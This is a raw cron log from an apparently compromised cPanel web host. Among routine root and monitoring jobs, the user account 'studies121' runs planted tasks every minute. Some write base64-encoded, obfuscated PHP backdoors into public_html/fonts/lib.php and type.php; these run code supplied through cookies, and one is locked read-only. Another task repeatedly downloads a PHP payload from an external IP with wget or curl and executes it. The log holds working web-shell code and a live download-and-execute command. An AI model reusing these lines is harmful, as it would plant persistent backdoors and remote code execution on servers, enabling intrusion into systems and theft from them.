Sep 22 09:41:01 ip-184-168-122-23 CROND[15527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:41:01 ip-184-168-122-23 CROND[15528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:42:01 ip-184-168-122-23 CROND[15879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:42:01 ip-184-168-122-23 CROND[15881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:42:01 ip-184-168-122-23 CROND[15880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:42:01 ip-184-168-122-23 CROND[15883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:42:01 ip-184-168-122-23 CROND[15882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:43:01 ip-184-168-122-23 CROND[15999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:43:01 ip-184-168-122-23 CROND[16002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:43:01 ip-184-168-122-23 CROND[16005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:43:01 ip-184-168-122-23 CROND[16004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:44:01 ip-184-168-122-23 CROND[16175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:44:01 ip-184-168-122-23 CROND[16176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:44:01 ip-184-168-122-23 CROND[16178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:44:01 ip-184-168-122-23 CROND[16179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:44:01 ip-184-168-122-23 CROND[16181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:45:01 ip-184-168-122-23 CROND[16326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:45:01 ip-184-168-122-23 CROND[16328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:45:01 ip-184-168-122-23 CROND[16329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:45:01 ip-184-168-122-23 CROND[16327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:45:01 ip-184-168-122-23 CROND[16334]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:45:01 ip-184-168-122-23 CROND[16335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:46:01 ip-184-168-122-23 CROND[17347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:46:01 ip-184-168-122-23 CROND[17346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:46:01 ip-184-168-122-23 CROND[17350]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 09:46:01 ip-184-168-122-23 CROND[17352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:46:01 ip-184-168-122-23 CROND[17353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:46:01 ip-184-168-122-23 CROND[17354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:46:01 ip-184-168-122-23 CROND[17356]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 09:47:01 ip-184-168-122-23 CROND[17843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:47:02 ip-184-168-122-23 CROND[17845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:47:02 ip-184-168-122-23 CROND[17846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:47:02 ip-184-168-122-23 CROND[17848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:48:01 ip-184-168-122-23 CROND[18547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:48:01 ip-184-168-122-23 CROND[18548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:48:01 ip-184-168-122-23 CROND[18555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:48:01 ip-184-168-122-23 CROND[18556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:48:01 ip-184-168-122-23 CROND[18553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:49:01 ip-184-168-122-23 CROND[19209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:49:01 ip-184-168-122-23 CROND[19210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:49:01 ip-184-168-122-23 CROND[19212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:49:01 ip-184-168-122-23 CROND[19215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:50:01 ip-184-168-122-23 CROND[19858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:50:01 ip-184-168-122-23 CROND[19860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:50:01 ip-184-168-122-23 CROND[19862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:50:01 ip-184-168-122-23 CROND[19861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:50:01 ip-184-168-122-23 CROND[19863]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 09:50:01 ip-184-168-122-23 CROND[19864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:50:01 ip-184-168-122-23 CROND[19865]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:50:01 ip-184-168-122-23 CROND[19866]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:50:01 ip-184-168-122-23 CROND[19867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 09:51:01 ip-184-168-122-23 CROND[20340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:51:01 ip-184-168-122-23 CROND[20339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:51:01 ip-184-168-122-23 CROND[20341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:51:01 ip-184-168-122-23 CROND[20342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:52:01 ip-184-168-122-23 CROND[20874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:52:01 ip-184-168-122-23 CROND[20876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:52:01 ip-184-168-122-23 CROND[20878]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:52:01 ip-184-168-122-23 CROND[20877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:52:01 ip-184-168-122-23 CROND[20879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:53:01 ip-184-168-122-23 CROND[21310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:53:01 ip-184-168-122-23 CROND[21311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
